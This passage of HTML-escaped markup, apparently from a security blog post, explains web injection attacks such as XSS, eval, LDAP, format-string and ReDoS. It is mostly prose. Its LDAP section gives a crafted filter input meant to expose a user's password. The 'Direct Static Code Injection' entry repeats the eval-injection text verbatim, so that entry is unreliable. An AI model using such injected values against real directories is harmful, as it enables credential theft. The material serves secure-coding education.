input/output data validation, for example:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;If a site uses the include() function,
     which operates on variables sent with the GET method, and there is no
     validation performed on them, then the attacker may try to execute
     different code other than the author of the code had in mind.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;When a programmer uses the eval()
     function and operates on the data inside it, and these data may be altered
     by the attacker, then it&#39;s only one step closer to Code Injection.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Command Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
purpose of the command injection attack is to inject and execute commands
specified by the attacker in the vulnerable application.&amp;nbsp;There is a
variant of the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Code Injection&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;attack.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;
&amp;nbsp; An OS command injection attack occurs when an attacker attempts to
execute system level commands through a vulnerable application. Applications
are considered vulnerable to the OS command injection attack if they utilize
user input in a system level command.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Comment Injection
Attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Comments
injected into an application through input can be used to compromise a system.
As data is parsed, an injected/malformed comment may cause the process to take
unexpected actions that result in an attack.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;sql comments which serve like sql
     injection attacks&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;html comments which could comment the
     rest of html output.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Cross-site
Scripting (XSS)&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Cross-Site
Scripting attacks are a type of injection problem, in which malicious scripts
are injected into the otherwise benign and trusted web sites.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Cross-Site Scripting
(XSS) attacks occur when:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: 38.4pt; mso-list: l2 level1 lfo9; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Data enters a Web
application through an untrusted source, most frequently a web request.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: 38.4pt; mso-list: l6 level1 lfo10; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The data is included in
dynamic content that is sent to a web user without being validated for
malicious code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The malicious content
sent to the web browser often takes the form of a segment of JavaScript, but
may also include HTML, Flash or any other type of code that the browser may
execute. The variety of attacks based on XSS is almost limitless, but they
commonly include transmitting private data like cookies or other session
information to the attacker, redirecting the victim to web content controlled
by the attacker, or performing other malicious operations on the user&#39;s machine
under the guise of the vulnerable site.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Stored attacks&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;are those where the injected code is permanently stored on
the target servers, such as in a database, in a message forum, visitor log,
comment field, etc. The victim then retrieves the malicious script from the
server when it requests the stored information.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Reflected attack&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;s are those where the injected code is reflected
off the web server, such as in an error message, search result, or any other
response that includes some or all of the input sent to the server as part of
the request. Reflected attacks are delivered to victims via another route, such
as in an e-mail message, or on some other web server. When a user is tricked
into clicking on a malicious link or submitting a specially crafted form, the
injected code travels to the vulnerable web server, which reflects the attack
back to the user’s browser. The browser then executes the code because it came
from a &quot;trusted&quot; server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DOM
based XSS&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt; attacks involve using
the client side JavaScript to process the untrusted user input.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The most severe XSS attacks involve disclosure
of the user’s session cookie, allowing an attacker to hijack the user’s session
and take over the account. Other damaging attacks include the disclosure of end
user files, installation of Trojan horse programs, redirect the user to some
other page or site, or modify presentation of content. An XSS vulnerability
allowing an attacker to modify a press release or news item could affect a
company’s stock price or lessen consumer confidence. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A good practice to follow is to review the code
and search for all places where input from an HTTP request could possibly make
its way into the HTML output.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;color: red; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Nessus&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: red; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Nikto&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;, and some other available tools can help scan a
website for these flaws&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Custom Special
Character Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
software does not properly filter or quote special characters or reserved words
that are used in a custom or proprietary language or representation that is
used by the product. That allows attackers to modify the syntax, content, or
commands before they are processed by the end system.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Direct Dynamic Code
Evaluation (&#39;Eval Injection&#39;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack consists of
a script that does not properly validate user inputs in the page parameter. A
remote user can supply a specially crafted URL to pass arbitrary code to an
eval() statement, which results in code execution.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Note 1: This attack will
execute the code with the same permission like the target web service,
including operation system commands.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Note 2: Eval injection
is prevalent in handler/dispatch procedures that might want to invoke a large
number of functions, or set a large number of variables.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Similar to the above XSS
and other injections.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Direct Static Code
Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack consists of
a script that does not properly validate user inputs in the page parameter. A
remote user can supply a specially crafted URL to pass arbitrary code to an
eval() statement, which results in code execution.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Note 1: This attack will
execute the code with the same permission like the target web service,
including operation system commands.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Note 2: Eval injection
is prevalent in handler/dispatch procedures that might want to invoke a large
number of functions, or set a large number of variables.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Format string
attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;probably c/C++ specific.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
attack could be executed when the application doesn’t properly validate the
submitted input. In this case, if a Format String parameter, like&amp;nbsp;%x, is
inserted into the posted data, the string is parsed by the Format Function, and
the conversion specified in the parameters is executed. However, the Format
Function is expecting more arguments as input, and if these arguments are not
supplied, the function could read or write the stack.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Full Path
Disclosure&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Full
Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to
the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such
as using the load_file() (within a&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; title=&quot;SQL Injection&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;SQL
Injection&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;) query to view the page
source, require the attacker to have the full path to the file they wish to
view.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;For
instance, sending invalid argument to a page loading web site might display the
full path of the non-existent &amp;nbsp;page.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



LDAP injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;LDAP
Injection is an attack used to exploit web based applications that construct
LDAP statements based on user input. When an application fails to properly
sanitize user input, it’s possible to modify LDAP statements using a local
proxy. This could result in the execution of arbitrary commands such as
granting permissions to unauthorized queries, and content modification inside
the LDAP tree. The same advanced exploitation techniques available in&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; title=&quot;SQL Injection&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;SQL Injection&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;can be similarly applied in LDAP Injection.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Example:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The LDAP query is
narrowed down for performance and the underlying code for this function might
be the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; border: dashed #2F6FAB 1.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-element: para-border-div; padding: 12.0pt 12.0pt 12.0pt 12.0pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;String ldapSearchQuery = &quot;(cn=&quot; + $userName +
&quot;)&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;System.out.println(ldapSearchQuery); &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;If the variable
$userName is not validated, it could be possible accomplish LDAP injection, as
follows:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: .25in; mso-list: l9 level1 lfo11; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;If a user puts “*” on box search, the system may
return all the usernames on the LDAP base&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; margin-left: .25in; mso-list: l9 level1 lfo11; mso-margin-top-alt: auto; tab-stops: list .5in; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;If a user puts “jonys) (| (password = * ) )”, it
will generate the code bellow revealing jonys’ password ( cn = jonys ) ( |
(password = * )&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Parameter Delimiter&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This
attack is based on the manipulation of parameter delimiters used by web
application input vectors in order to cause unexpected behaviors like access
control and authorization bypass and information disclosure, among others.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Example:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Attacker can simply provide
a value with the delimiter in it and extra commands or information. The web app
would process it as if it were part of regular data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Regular expression
Denial of Service - ReDoS&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The&amp;nbsp;&lt;b&gt;Regular
expression Denial of Service (ReDoS)&lt;/b&gt;&amp;nbsp;is a&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Denial_of_Service&quot; title=&quot;Denial of Service&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;Denial
of Service&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;attack, that exploits
the fact that most Regular Expression implementations may reach extreme
situations that cause them to work very slowly (exponentially related to input
size). An attacker can then cause a program using a Regular Expression to enter
these extreme situations and then hang for a very long time.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
attacker might use the above knowledge to look for applications that use
Regular Expressions, containing an&amp;nbsp;&lt;b&gt;Evil Regex&lt;/b&gt;, and send a
well-crafted input, that will hang the system. Alternatively, if a Regex itself
is affected by a user input, the attacker can inject an&amp;nbsp;&lt;b&gt;Evil Regex&lt;/b&gt;,
and make the system vulnerable.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Resource Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This
attack consists of changing resource identifiers used by an application in
order to perform a malicious task. When an application permits a user input to
define a resource, like a file name or port number, this data can be
manipulated to execute or access different resources.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;In
order to be properly executed, the attacker must have the possibility to
specify a resource identifier through the application form and the application
must permit its execution&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
resource injection attack focuses on accessing other resources than the local
filesystem, which is different attack technique known as a&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Path_Manipulation&quot; title=&quot;Path Manipulation&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;Path
